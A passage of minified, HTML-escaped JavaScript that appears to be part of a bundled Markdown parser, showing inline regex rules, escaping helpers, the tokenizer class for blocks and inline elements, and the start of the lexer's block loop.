  var je = d2(/^~~?(?:((?!~)punct)|[^\s~])/, &quot;u&quot;).replace(/punct/g, E).getRegex();
  var Fe = &quot;^[^~]+(?=[^~])|(?!~)punct(~~?)(?=[\\s]|$)|notPunctSpace(~~?)(?!~)(?=punctSpace|$)|(?!~)punctSpace(~~?)(?=notPunctSpace)|[\\s](~~?)(?!~)(?=punct)|(?!~)punct(~~?)(?!~)(?=punct)|notPunctSpace(~~?)(?=notPunctSpace)&quot;;
  var Ue = d2(Fe, &quot;gu&quot;).replace(/notPunctSpace/g, W).replace(/punctSpace/g, H2).replace(/punct/g, E).getRegex();
  var Ke = d2(/\\(punct)/, &quot;gu&quot;).replace(/punct/g, E).getRegex();
  var We = d2(/^&lt;(scheme:[^\s\x00-\x1f&lt;&gt;]*|email)&gt;/).replace(&quot;scheme&quot;, /[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace(&quot;email&quot;, /[a-zA-Z0-9.!#$%&amp;&#039;*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex();
  var Xe = d2(U).replace(&quot;(?:--&gt;|$)&quot;, &quot;--&gt;&quot;).getRegex();
  var Je = d2(&quot;^comment|^&lt;/[a-zA-Z][\\w:-]*\\s*&gt;|^&lt;[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?&gt;|^&lt;\\?[\\s\\S]*?\\?&gt;|^&lt;![a-zA-Z]+\\s[\\s\\S]*?&gt;|^&lt;!\\[CDATA\\[[\\s\\S]*?\\]\\]&gt;&quot;).replace(&quot;comment&quot;, Xe).replace(&quot;attribute&quot;, /\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*&quot;[^&quot;]*&quot;|\s*=\s*&#039;[^&#039;]*&#039;|\s*=\s*[^\s&quot;&#039;=&lt;&gt;`]+)?/).getRegex();
  var q = /(?:\[(?:\\[\s\S]|[^\[\]\\])*\]|\\[\s\S]|`+(?!`)[^`]*?`+(?!`)|``+(?=\])|[^\[\]\\`])*?/;
  var Ve = d2(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]+(?:\n[ \t]*)?|\n[ \t]*)(title))?\s*\)/).replace(&quot;label&quot;, q).replace(&quot;href&quot;, /&lt;(?:\\.|[^\n&lt;&gt;\\])+&gt;|[^ \t\n\x00-\x1f]*/).replace(&quot;title&quot;, /&quot;(?:\\&quot;?|[^&quot;\\])*&quot;|&#039;(?:\\&#039;?|[^&#039;\\])*&#039;|\((?:\\\)?|[^)\\])*\)/).getRegex();
  var he = d2(/^!?\[(label)\]\[(ref)\]/).replace(&quot;label&quot;, q).replace(&quot;ref&quot;, F).getRegex();
  var ke = d2(/^!?\[(ref)\](?:\[\])?/).replace(&quot;ref&quot;, F).getRegex();
  var Ye = d2(&quot;reflink|nolink(?!\\()&quot;, &quot;g&quot;).replace(&quot;reflink&quot;, he).replace(&quot;nolink&quot;, ke).getRegex();
  var se = /[hH][tT][tT][pP][sS]?|[fF][tT][pP]/;
  var X = { _backpedal: _, anyPunctuation: Ke, autolink: We, blockSkip: ve, br: le, code: Ce, del: _, delLDelim: _, delRDelim: _, emStrongLDelim: He, emStrongRDelimAst: Ge, emStrongRDelimUnd: Qe, escape: Ae, link: Ve, nolink: ke, punctuation: Be, reflink: he, reflinkSearch: Ye, tag: Je, text: Ie, url: _ };
  var et = { ...X, link: d2(/^!?\[(label)\]\((.*?)\)/).replace(&quot;label&quot;, q).getRegex(), reflink: d2(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace(&quot;label&quot;, q).getRegex() };
  var N2 = { ...X, emStrongRDelimAst: Ne, emStrongLDelim: Ze, delLDelim: je, delRDelim: Ue, url: d2(/^((?:protocol):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s&lt;]*|^email/).replace(&quot;protocol&quot;, se).replace(&quot;email&quot;, /[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(), _backpedal: /(?:[^?!.,:;*_&#039;&quot;~()&amp;]+|\([^)]*\)|&amp;(?![a-zA-Z0-9]+;$)|[?!.,:;*_&#039;&quot;~)]+(?!$))+/, del: /^(~~?)(?=[^\s~])((?:\\[\s\S]|[^\\])*?(?:\\[\s\S]|[^\s~\\]))\1(?=[^~]|$)/, text: d2(/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&amp;&#039;*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\&lt;!\[`*~_]|\b_|protocol:\/\/|www\.|$)|[^ ](?= {2,}\n)|[^a-zA-Z0-9.!#$%&amp;&#039;*+\/=?_`{\|}~-](?=[a-zA-Z0-9.!#$%&amp;&#039;*+\/=?_`{\|}~-]+@)))/).replace(&quot;protocol&quot;, se).getRegex() };
  var tt = { ...N2, br: d2(le).replace(&quot;{2,}&quot;, &quot;*&quot;).getRegex(), text: d2(N2.text).replace(&quot;\\b_&quot;, &quot;\\b_| {2,}\\n&quot;).replace(/\{2,\}/g, &quot;*&quot;).getRegex() };
  var B = { normal: K, gfm: ze, pedantic: Ee };
  var A = { normal: X, gfm: N2, breaks: tt, pedantic: et };
  var nt = { &quot;&amp;&quot;: &quot;&amp;amp;&quot;, &quot;&lt;&quot;: &quot;&amp;lt;&quot;, &quot;&gt;&quot;: &quot;&amp;gt;&quot;, &#039;&quot;&#039;: &quot;&amp;quot;&quot;, &quot;&#039;&quot;: &quot;&amp;#39;&quot; };
  var de = (l4) =&gt; nt[l4];
  function O(l4, e2) {
    if (e2) {
      if (m2.escapeTest.test(l4)) return l4.replace(m2.escapeReplace, de);
    } else if (m2.escapeTestNoEncode.test(l4)) return l4.replace(m2.escapeReplaceNoEncode, de);
    return l4;
  }
  function J(l4) {
    try {
      l4 = encodeURI(l4).replace(m2.percentDecode, &quot;%&quot;);
    } catch {
      return null;
    }
    return l4;
  }
  function V(l4, e2) {
    let t3 = l4.replace(m2.findPipe, (r2, i2, o3) =&gt; {
      let u2 = false, a2 = i2;
      for (; --a2 &gt;= 0 &amp;&amp; o3[a2] === &quot;\\&quot;; ) u2 = !u2;
      return u2 ? &quot;|&quot; : &quot; |&quot;;
    }), n2 = t3.split(m2.splitPipe), s2 = 0;
    if (n2[0].trim() || n2.shift(), n2.length &gt; 0 &amp;&amp; !n2.at(-1)?.trim() &amp;&amp; n2.pop(), e2) if (n2.length &gt; e2) n2.splice(e2);
    else for (; n2.length &lt; e2; ) n2.push(&quot;&quot;);
    for (; s2 &lt; n2.length; s2++) n2[s2] = n2[s2].trim().replace(m2.slashPipe, &quot;|&quot;);
    return n2;
  }
  function $2(l4, e2, t3) {
    let n2 = l4.length;
    if (n2 === 0) return &quot;&quot;;
    let s2 = 0;
    for (; s2 &lt; n2; ) {
      let r2 = l4.charAt(n2 - s2 - 1);
      if (r2 === e2 &amp;&amp; !t3) s2++;
      else if (r2 !== e2 &amp;&amp; t3) s2++;
      else break;
    }
    return l4.slice(0, n2 - s2);
  }
  function Y(l4) {
    let e2 = l4.split(`
`), t3 = e2.length - 1;
    for (; t3 &gt;= 0 &amp;&amp; m2.blankLine.test(e2[t3]); ) t3--;
    return e2.length - t3 &lt;= 2 ? l4 : e2.slice(0, t3 + 1).join(`
`);
  }
  function ge(l4, e2) {
    if (l4.indexOf(e2[1]) === -1) return -1;
    let t3 = 0;
    for (let n2 = 0; n2 &lt; l4.length; n2++) if (l4[n2] === &quot;\\&quot;) n2++;
    else if (l4[n2] === e2[0]) t3++;
    else if (l4[n2] === e2[1] &amp;&amp; (t3--, t3 &lt; 0)) return n2;
    return t3 &gt; 0 ? -2 : -1;
  }
  function fe(l4, e2 = 0) {
    let t3 = e2, n2 = &quot;&quot;;
    for (let s2 of l4) if (s2 === &quot;	&quot;) {
      let r2 = 4 - t3 % 4;
      n2 += &quot; &quot;.repeat(r2), t3 += r2;
    } else n2 += s2, t3++;
    return n2;
  }
  function me(l4, e2, t3, n2, s2) {
    let r2 = e2.href, i2 = e2.title || null, o3 = l4[1].replace(s2.other.outputLinkReplace, &quot;$1&quot;);
    n2.state.inLink = true;
    let u2 = { type: l4[0].charAt(0) === &quot;!&quot; ? &quot;image&quot; : &quot;link&quot;, raw: t3, href: r2, title: i2, text: o3, tokens: n2.inlineTokens(o3) };
    return n2.state.inLink = false, u2;
  }
  function rt(l4, e2, t3) {
    let n2 = l4.match(t3.other.indentCodeCompensation);
    if (n2 === null) return e2;
    let s2 = n2[1];
    return e2.split(`
`).map((r2) =&gt; {
      let i2 = r2.match(t3.other.beginningSpace);
      if (i2 === null) return r2;
      let [o3] = i2;
      return o3.length &gt;= s2.length ? r2.slice(s2.length) : r2;
    }).join(`
`);
  }
  var w2 = class {
    options;
    rules;
    lexer;
    constructor(e2) {
      this.options = e2 || T;
    }
    space(e2) {
      let t3 = this.rules.block.newline.exec(e2);
      if (t3 &amp;&amp; t3[0].length &gt; 0) return { type: &quot;space&quot;, raw: t3[0] };
    }
    code(e2) {
      let t3 = this.rules.block.code.exec(e2);
      if (t3) {
        let n2 = this.options.pedantic ? t3[0] : Y(t3[0]), s2 = n2.replace(this.rules.other.codeRemoveIndent, &quot;&quot;);
        return { type: &quot;code&quot;, raw: n2, codeBlockStyle: &quot;indented&quot;, text: s2 };
      }
    }
    fences(e2) {
      let t3 = this.rules.block.fences.exec(e2);
      if (t3) {
        let n2 = t3[0], s2 = rt(n2, t3[3] || &quot;&quot;, this.rules);
        return { type: &quot;code&quot;, raw: n2, lang: t3[2] ? t3[2].trim().replace(this.rules.inline.anyPunctuation, &quot;$1&quot;) : t3[2], text: s2 };
      }
    }
    heading(e2) {
      let t3 = this.rules.block.heading.exec(e2);
      if (t3) {
        let n2 = t3[2].trim();
        if (this.rules.other.endingHash.test(n2)) {
          let s2 = $2(n2, &quot;#&quot;);
          (this.options.pedantic || !s2 || this.rules.other.endingSpaceChar.test(s2)) &amp;&amp; (n2 = s2.trim());
        }
        return { type: &quot;heading&quot;, raw: $2(t3[0], `
`), depth: t3[1].length, text: n2, tokens: this.lexer.inline(n2) };
      }
    }
    hr(e2) {
      let t3 = this.rules.block.hr.exec(e2);
      if (t3) return { type: &quot;hr&quot;, raw: $2(t3[0], `
`) };
    }
    blockquote(e2) {
      let t3 = this.rules.block.blockquote.exec(e2);
      if (t3) {
        let n2 = $2(t3[0], `
`).split(`
`), s2 = &quot;&quot;, r2 = &quot;&quot;, i2 = [];
        for (; n2.length &gt; 0; ) {
          let o3 = false, u2 = [], a2;
          for (a2 = 0; a2 &lt; n2.length; a2++) if (this.rules.other.blockquoteStart.test(n2[a2])) u2.push(n2[a2]), o3 = true;
          else if (!o3) u2.push(n2[a2]);
          else break;
          n2 = n2.slice(a2);
          let c2 = u2.join(`
`), p2 = c2.replace(this.rules.other.blockquoteSetextReplace, `
    $1`).replace(this.rules.other.blockquoteSetextReplace2, &quot;&quot;);
          s2 = s2 ? `${s2}
${c2}` : c2, r2 = r2 ? `${r2}
${p2}` : p2;
          let k2 = this.lexer.state.top;
          if (this.lexer.state.top = true, this.lexer.blockTokens(p2, i2, true), this.lexer.state.top = k2, n2.length === 0) break;
          let h2 = i2.at(-1);
          if (h2?.type === &quot;code&quot;) break;
          if (h2?.type === &quot;blockquote&quot;) {
            let R = h2, f2 = R.raw + `
` + n2.join(`
`), S2 = this.blockquote(f2);
            i2[i2.length - 1] = S2, s2 = s2.substring(0, s2.length - R.raw.length) + S2.raw, r2 = r2.substring(0, r2.length - R.text.length) + S2.text;
            break;
          } else if (h2?.type === &quot;list&quot;) {
            let R = h2, f2 = R.raw + `
` + n2.join(`
`), S2 = this.list(f2);
            i2[i2.length - 1] = S2, s2 = s2.substring(0, s2.length - h2.raw.length) + S2.raw, r2 = r2.substring(0, r2.length - R.raw.length) + S2.raw, n2 = f2.substring(i2.at(-1).raw.length).split(`
`);
            continue;
          }
        }
        return { type: &quot;blockquote&quot;, raw: s2, tokens: i2, text: r2 };
      }
    }
    list(e2) {
      let t3 = this.rules.block.list.exec(e2);
      if (t3) {
        let n2 = t3[1].trim(), s2 = n2.length &gt; 1, r2 = { type: &quot;list&quot;, raw: &quot;&quot;, ordered: s2, start: s2 ? +n2.slice(0, -1) : &quot;&quot;, loose: false, items: [] };
        n2 = s2 ? `\\d{1,9}\\${n2.slice(-1)}` : `\\${n2}`, this.options.pedantic &amp;&amp; (n2 = s2 ? n2 : &quot;[*+-]&quot;);
        let i2 = this.rules.other.listItemRegex(n2), o3 = false;
        for (; e2; ) {
          let a2 = false, c2 = &quot;&quot;, p2 = &quot;&quot;;
          if (!(t3 = i2.exec(e2)) || this.rules.block.hr.test(e2)) break;
          c2 = t3[0], e2 = e2.substring(c2.length);
          let k2 = fe(t3[2].split(`
`, 1)[0], t3[1].length), h2 = e2.split(`
`, 1)[0], R = !k2.trim(), f2 = 0;
          if (this.options.pedantic ? (f2 = 2, p2 = k2.trimStart()) : R ? f2 = t3[1].length + 1 : (f2 = k2.search(this.rules.other.nonSpaceChar), f2 = f2 &gt; 4 ? 1 : f2, p2 = k2.slice(f2), f2 += t3[1].length), R &amp;&amp; this.rules.other.blankLine.test(h2) &amp;&amp; (c2 += h2 + `
`, e2 = e2.substring(h2.length + 1), a2 = true), !a2) {
            let S2 = this.rules.other.nextBulletRegex(f2), ee = this.rules.other.hrRegex(f2), te = this.rules.other.fencesBeginRegex(f2), ne = this.rules.other.headingBeginRegex(f2), xe = this.rules.other.htmlBeginRegex(f2), be = this.rules.other.blockquoteBeginRegex(f2);
            for (; e2; ) {
              let Z = e2.split(`
`, 1)[0], C;
              if (h2 = Z, this.options.pedantic ? (h2 = h2.replace(this.rules.other.listReplaceNesting, &quot;  &quot;), C = h2) : C = h2.replace(this.rules.other.tabCharGlobal, &quot;    &quot;), te.test(h2) || ne.test(h2) || xe.test(h2) || be.test(h2) || S2.test(h2) || ee.test(h2)) break;
              if (C.search(this.rules.other.nonSpaceChar) &gt;= f2 || !h2.trim()) p2 += `
` + C.slice(f2);
              else {
                if (R || k2.replace(this.rules.other.tabCharGlobal, &quot;    &quot;).search(this.rules.other.nonSpaceChar) &gt;= 4 || te.test(k2) || ne.test(k2) || ee.test(k2)) break;
                p2 += `
` + h2;
              }
              R = !h2.trim(), c2 += Z + `
`, e2 = e2.substring(Z.length + 1), k2 = C.slice(f2);
            }
          }
          r2.loose || (o3 ? r2.loose = true : this.rules.other.doubleBlankLine.test(c2) &amp;&amp; (o3 = true)), r2.items.push({ type: &quot;list_item&quot;, raw: c2, task: !!this.options.gfm &amp;&amp; this.rules.other.listIsTask.test(p2), loose: false, text: p2, tokens: [] }), r2.raw += c2;
        }
        let u2 = r2.items.at(-1);
        if (u2) u2.raw = u2.raw.trimEnd(), u2.text = u2.text.trimEnd();
        else return;
        r2.raw = r2.raw.trimEnd();
        for (let a2 of r2.items) {
          this.lexer.state.top = false, a2.tokens = this.lexer.blockTokens(a2.text, []);
          let c2 = a2.tokens[0];
          if (a2.task &amp;&amp; (c2?.type === &quot;text&quot; || c2?.type === &quot;paragraph&quot;)) {
            a2.text = a2.text.replace(this.rules.other.listReplaceTask, &quot;&quot;), c2.raw = c2.raw.replace(this.rules.other.listReplaceTask, &quot;&quot;), c2.text = c2.text.replace(this.rules.other.listReplaceTask, &quot;&quot;);
            for (let k2 = this.lexer.inlineQueue.length - 1; k2 &gt;= 0; k2--) if (this.rules.other.listIsTask.test(this.lexer.inlineQueue[k2].src)) {
              this.lexer.inlineQueue[k2].src = this.lexer.inlineQueue[k2].src.replace(this.rules.other.listReplaceTask, &quot;&quot;);
              break;
            }
            let p2 = this.rules.other.listTaskCheckbox.exec(a2.raw);
            if (p2) {
              let k2 = { type: &quot;checkbox&quot;, raw: p2[0] + &quot; &quot;, checked: p2[0] !== &quot;[ ]&quot; };
              a2.checked = k2.checked, r2.loose ? a2.tokens[0] &amp;&amp; [&quot;paragraph&quot;, &quot;text&quot;].includes(a2.tokens[0].type) &amp;&amp; &quot;tokens&quot; in a2.tokens[0] &amp;&amp; a2.tokens[0].tokens ? (a2.tokens[0].raw = k2.raw + a2.tokens[0].raw, a2.tokens[0].text = k2.raw + a2.tokens[0].text, a2.tokens[0].tokens.unshift(k2)) : a2.tokens.unshift({ type: &quot;paragraph&quot;, raw: k2.raw, text: k2.raw, tokens: [k2] }) : a2.tokens.unshift(k2);
            }
          } else a2.task &amp;&amp; (a2.task = false);
          if (!r2.loose) {
            let p2 = a2.tokens.filter((h2) =&gt; h2.type === &quot;space&quot;), k2 = p2.length &gt; 0 &amp;&amp; p2.some((h2) =&gt; this.rules.other.anyLine.test(h2.raw));
            r2.loose = k2;
          }
        }
        if (r2.loose) for (let a2 of r2.items) {
          a2.loose = true;
          for (let c2 of a2.tokens) c2.type === &quot;text&quot; &amp;&amp; (c2.type = &quot;paragraph&quot;);
        }
        return r2;
      }
    }
    html(e2) {
      let t3 = this.rules.block.html.exec(e2);
      if (t3) {
        let n2 = Y(t3[0]);
        return { type: &quot;html&quot;, block: true, raw: n2, pre: t3[1] === &quot;pre&quot; || t3[1] === &quot;script&quot; || t3[1] === &quot;style&quot;, text: n2 };
      }
    }
    def(e2) {
      let t3 = this.rules.block.def.exec(e2);
      if (t3) {
        let n2 = t3[1].toLowerCase().replace(this.rules.other.multipleSpaceGlobal, &quot; &quot;), s2 = t3[2] ? t3[2].replace(this.rules.other.hrefBrackets, &quot;$1&quot;).replace(this.rules.inline.anyPunctuation, &quot;$1&quot;) : &quot;&quot;, r2 = t3[3] ? t3[3].substring(1, t3[3].length - 1).replace(this.rules.inline.anyPunctuation, &quot;$1&quot;) : t3[3];
        return { type: &quot;def&quot;, tag: n2, raw: $2(t3[0], `
`), href: s2, title: r2 };
      }
    }
    table(e2) {
      let t3 = this.rules.block.table.exec(e2);
      if (!t3 || !this.rules.other.tableDelimiter.test(t3[2])) return;
      let n2 = V(t3[1]), s2 = t3[2].replace(this.rules.other.tableAlignChars, &quot;&quot;).split(&quot;|&quot;), r2 = t3[3]?.trim() ? t3[3].replace(this.rules.other.tableRowBlankLine, &quot;&quot;).split(`
`) : [], i2 = { type: &quot;table&quot;, raw: $2(t3[0], `
`), header: [], align: [], rows: [] };
      if (n2.length === s2.length) {
        for (let o3 of s2) this.rules.other.tableAlignRight.test(o3) ? i2.align.push(&quot;right&quot;) : this.rules.other.tableAlignCenter.test(o3) ? i2.align.push(&quot;center&quot;) : this.rules.other.tableAlignLeft.test(o3) ? i2.align.push(&quot;left&quot;) : i2.align.push(null);
        for (let o3 = 0; o3 &lt; n2.length; o3++) i2.header.push({ text: n2[o3], tokens: this.lexer.inline(n2[o3]), header: true, align: i2.align[o3] });
        for (let o3 of r2) i2.rows.push(V(o3, i2.header.length).map((u2, a2) =&gt; ({ text: u2, tokens: this.lexer.inline(u2), header: false, align: i2.align[a2] })));
        return i2;
      }
    }
    lheading(e2) {
      let t3 = this.rules.block.lheading.exec(e2);
      if (t3) {
        let n2 = t3[1].trim();
        return { type: &quot;heading&quot;, raw: $2(t3[0], `
`), depth: t3[2].charAt(0) === &quot;=&quot; ? 1 : 2, text: n2, tokens: this.lexer.inline(n2) };
      }
    }
    paragraph(e2) {
      let t3 = this.rules.block.paragraph.exec(e2);
      if (t3) {
        let n2 = t3[1].charAt(t3[1].length - 1) === `
` ? t3[1].slice(0, -1) : t3[1];
        return { type: &quot;paragraph&quot;, raw: t3[0], text: n2, tokens: this.lexer.inline(n2) };
      }
    }
    text(e2) {
      let t3 = this.rules.block.text.exec(e2);
      if (t3) return { type: &quot;text&quot;, raw: t3[0], text: t3[0], tokens: this.lexer.inline(t3[0]) };
    }
    escape(e2) {
      let t3 = this.rules.inline.escape.exec(e2);
      if (t3) return { type: &quot;escape&quot;, raw: t3[0], text: t3[1] };
    }
    tag(e2) {
      let t3 = this.rules.inline.tag.exec(e2);
      if (t3) return !this.lexer.state.inLink &amp;&amp; this.rules.other.startATag.test(t3[0]) ? this.lexer.state.inLink = true : this.lexer.state.inLink &amp;&amp; this.rules.other.endATag.test(t3[0]) &amp;&amp; (this.lexer.state.inLink = false), !this.lexer.state.inRawBlock &amp;&amp; this.rules.other.startPreScriptTag.test(t3[0]) ? this.lexer.state.inRawBlock = true : this.lexer.state.inRawBlock &amp;&amp; this.rules.other.endPreScriptTag.test(t3[0]) &amp;&amp; (this.lexer.state.inRawBlock = false), { type: &quot;html&quot;, raw: t3[0], inLink: this.lexer.state.inLink, inRawBlock: this.lexer.state.inRawBlock, block: false, text: t3[0] };
    }
    link(e2) {
      let t3 = this.rules.inline.link.exec(e2);
      if (t3) {
        let n2 = t3[2].trim();
        if (!this.options.pedantic &amp;&amp; this.rules.other.startAngleBracket.test(n2)) {
          if (!this.rules.other.endAngleBracket.test(n2)) return;
          let i2 = $2(n2.slice(0, -1), &quot;\\&quot;);
          if ((n2.length - i2.length) % 2 === 0) return;
        } else {
          let i2 = ge(t3[2], &quot;()&quot;);
          if (i2 === -2) return;
          if (i2 &gt; -1) {
            let u2 = (t3[0].indexOf(&quot;!&quot;) === 0 ? 5 : 4) + t3[1].length + i2;
            t3[2] = t3[2].substring(0, i2), t3[0] = t3[0].substring(0, u2).trim(), t3[3] = &quot;&quot;;
          }
        }
        let s2 = t3[2], r2 = &quot;&quot;;
        if (this.options.pedantic) {
          let i2 = this.rules.other.pedanticHrefTitle.exec(s2);
          i2 &amp;&amp; (s2 = i2[1], r2 = i2[3]);
        } else r2 = t3[3] ? t3[3].slice(1, -1) : &quot;&quot;;
        return s2 = s2.trim(), this.rules.other.startAngleBracket.test(s2) &amp;&amp; (this.options.pedantic &amp;&amp; !this.rules.other.endAngleBracket.test(n2) ? s2 = s2.slice(1) : s2 = s2.slice(1, -1)), me(t3, { href: s2 &amp;&amp; s2.replace(this.rules.inline.anyPunctuation, &quot;$1&quot;), title: r2 &amp;&amp; r2.replace(this.rules.inline.anyPunctuation, &quot;$1&quot;) }, t3[0], this.lexer, this.rules);
      }
    }
    reflink(e2, t3) {
      let n2;
      if ((n2 = this.rules.inline.reflink.exec(e2)) || (n2 = this.rules.inline.nolink.exec(e2))) {
        let s2 = (n2[2] || n2[1]).replace(this.rules.other.multipleSpaceGlobal, &quot; &quot;), r2 = t3[s2.toLowerCase()];
        if (!r2) {
          let i2 = n2[0].charAt(0);
          return { type: &quot;text&quot;, raw: i2, text: i2 };
        }
        return me(n2, r2, n2[0], this.lexer, this.rules);
      }
    }
    emStrong(e2, t3, n2 = &quot;&quot;) {
      let s2 = this.rules.inline.emStrongLDelim.exec(e2);
      if (!s2 || !s2[1] &amp;&amp; !s2[2] &amp;&amp; !s2[3] &amp;&amp; !s2[4] || s2[4] &amp;&amp; n2.match(this.rules.other.unicodeAlphaNumeric)) return;
      if (!(s2[1] || s2[3] || &quot;&quot;) || !n2 || this.rules.inline.punctuation.exec(n2)) {
        let i2 = [...s2[0]].length - 1, o3, u2, a2 = i2, c2 = 0, p2 = s2[0][0] === &quot;*&quot; ? this.rules.inline.emStrongRDelimAst : this.rules.inline.emStrongRDelimUnd;
        for (p2.lastIndex = 0, t3 = t3.slice(-1 * e2.length + i2); (s2 = p2.exec(t3)) !== null; ) {
          if (o3 = s2[1] || s2[2] || s2[3] || s2[4] || s2[5] || s2[6], !o3) continue;
          if (u2 = [...o3].length, s2[3] || s2[4]) {
            a2 += u2;
            continue;
          } else if ((s2[5] || s2[6]) &amp;&amp; i2 % 3 &amp;&amp; !((i2 + u2) % 3)) {
            c2 += u2;
            continue;
          }
          if (a2 -= u2, a2 &gt; 0) continue;
          u2 = Math.min(u2, u2 + a2 + c2);
          let k2 = [...s2[0]][0].length, h2 = e2.slice(0, i2 + s2.index + k2 + u2);
          if (Math.min(i2, u2) % 2) {
            let f2 = h2.slice(1, -1);
            return { type: &quot;em&quot;, raw: h2, text: f2, tokens: this.lexer.inlineTokens(f2) };
          }
          let R = h2.slice(2, -2);
          return { type: &quot;strong&quot;, raw: h2, text: R, tokens: this.lexer.inlineTokens(R) };
        }
      }
    }
    codespan(e2) {
      let t3 = this.rules.inline.code.exec(e2);
      if (t3) {
        let n2 = t3[2].replace(this.rules.other.newLineCharGlobal, &quot; &quot;), s2 = this.rules.other.nonSpaceChar.test(n2), r2 = this.rules.other.startingSpaceChar.test(n2) &amp;&amp; this.rules.other.endingSpaceChar.test(n2);
        return s2 &amp;&amp; r2 &amp;&amp; (n2 = n2.substring(1, n2.length - 1)), { type: &quot;codespan&quot;, raw: t3[0], text: n2 };
      }
    }
    br(e2) {
      let t3 = this.rules.inline.br.exec(e2);
      if (t3) return { type: &quot;br&quot;, raw: t3[0] };
    }
    del(e2, t3, n2 = &quot;&quot;) {
      let s2 = this.rules.inline.delLDelim.exec(e2);
      if (!s2) return;
      if (!(s2[1] || &quot;&quot;) || !n2 || this.rules.inline.punctuation.exec(n2)) {
        let i2 = [...s2[0]].length - 1, o3, u2, a2 = i2, c2 = this.rules.inline.delRDelim;
        for (c2.lastIndex = 0, t3 = t3.slice(-1 * e2.length + i2); (s2 = c2.exec(t3)) !== null; ) {
          if (o3 = s2[1] || s2[2] || s2[3] || s2[4] || s2[5] || s2[6], !o3 || (u2 = [...o3].length, u2 !== i2)) continue;
          if (s2[3] || s2[4]) {
            a2 += u2;
            continue;
          }
          if (a2 -= u2, a2 &gt; 0) continue;
          u2 = Math.min(u2, u2 + a2);
          let p2 = [...s2[0]][0].length, k2 = e2.slice(0, i2 + s2.index + p2 + u2), h2 = k2.slice(i2, -i2);
          return { type: &quot;del&quot;, raw: k2, text: h2, tokens: this.lexer.inlineTokens(h2) };
        }
      }
    }
    autolink(e2) {
      let t3 = this.rules.inline.autolink.exec(e2);
      if (t3) {
        let n2, s2;
        return t3[2] === &quot;@&quot; ? (n2 = t3[1], s2 = &quot;mailto:&quot; + n2) : (n2 = t3[1], s2 = n2), { type: &quot;link&quot;, raw: t3[0], text: n2, href: s2, tokens: [{ type: &quot;text&quot;, raw: n2, text: n2 }] };
      }
    }
    url(e2) {
      let t3;
      if (t3 = this.rules.inline.url.exec(e2)) {
        let n2, s2;
        if (t3[2] === &quot;@&quot;) n2 = t3[0], s2 = &quot;mailto:&quot; + n2;
        else {
          let r2;
          do
            r2 = t3[0], t3[0] = this.rules.inline._backpedal.exec(t3[0])?.[0] ?? &quot;&quot;;
          while (r2 !== t3[0]);
          n2 = t3[0], t3[1] === &quot;www.&quot; ? s2 = &quot;http://&quot; + t3[0] : s2 = t3[0];
        }
        return { type: &quot;link&quot;, raw: t3[0], text: n2, href: s2, tokens: [{ type: &quot;text&quot;, raw: n2, text: n2 }] };
      }
    }
    inlineText(e2) {
      let t3 = this.rules.inline.text.exec(e2);
      if (t3) {
        let n2 = this.lexer.state.inRawBlock;
        return { type: &quot;text&quot;, raw: t3[0], text: t3[0], escaped: n2 };
      }
    }
  };
  var x2 = class l2 {
    tokens;
    options;
    state;
    inlineQueue;
    tokenizer;
    constructor(e2) {
      this.tokens = [], this.tokens.links = /* @__PURE__ */ Object.create(null), this.options = e2 || T, this.options.tokenizer = this.options.tokenizer || new w2(), this.tokenizer = this.options.tokenizer, this.tokenizer.options = this.options, this.tokenizer.lexer = this, this.inlineQueue = [], this.state = { inLink: false, inRawBlock: false, top: true };
      let t3 = { other: m2, block: B.normal, inline: A.normal };
      this.options.pedantic ? (t3.block = B.pedantic, t3.inline = A.pedantic) : this.options.gfm &amp;&amp; (t3.block = B.gfm, this.options.breaks ? t3.inline = A.breaks : t3.inline = A.gfm), this.tokenizer.rules = t3;
    }
    static get rules() {
      return { block: B, inline: A };
    }
    static lex(e2, t3) {
      return new l2(t3).lex(e2);
    }
    static lexInline(e2, t3) {
      return new l2(t3).inlineTokens(e2);
    }
    lex(e2) {
      e2 = e2.replace(m2.carriageReturn, `
`), this.blockTokens(e2, this.tokens);
      for (let t3 = 0; t3 &lt; this.inlineQueue.length; t3++) {
        let n2 = this.inlineQueue[t3];
        this.inlineTokens(n2.src, n2.tokens);
      }
      return this.inlineQueue = [], this.tokens;
    }
    blockTokens(e2, t3 = [], n2 = false) {
      this.tokenizer.lexer = this, this.options.pedantic &amp;&amp; (e2 = e2.replace(m2.tabCharGlobal, &quot;    &quot;).replace(m2.spaceLine, &quot;&quot;));
      let s2 = 1 / 0;
      for (; e2; ) {
        if (e2.length &lt; s2) s2 = e2.length;
        else {
          this.infiniteLoopError(e2.charCodeAt(0));
          break;
        }
        let r2;
        if (this.options.extensions?.block?.some((o3) =&gt; (r2 = o3.call({ lexer: this }, e2, t3)) ? (e2 = e2.substring(r2.raw.length), t3.push(r2), true) : false)) continue;
        if (r2 = this.tokenizer.space(e2)) {
          e2 = e2.substring(r2.raw.length);
          let o3 = t3.at(-1);
          r2.raw.length === 1 &amp;&amp; o3 !== void 0 ? o3.raw += `
` : t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.code(e2)) {
          e2 = e2.substring(r2.raw.length);
          let o3 = t3.at(-1);
          o3?.type === &quot;paragraph&quot; || o3?.type === &quot;text&quot; ? (o3.raw += (o3.raw.endsWith(`
`) ? &quot;&quot; : `
`) + r2.raw, o3.text += `
` + r2.text, this.inlineQueue.at(-1).src = o3.text) : t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.fences(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.heading(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
        if (r2 = this.tokenizer.hr(e2)) {
          e2 = e2.substring(r2.raw.length), t3.push(r2);
          continue;
        }
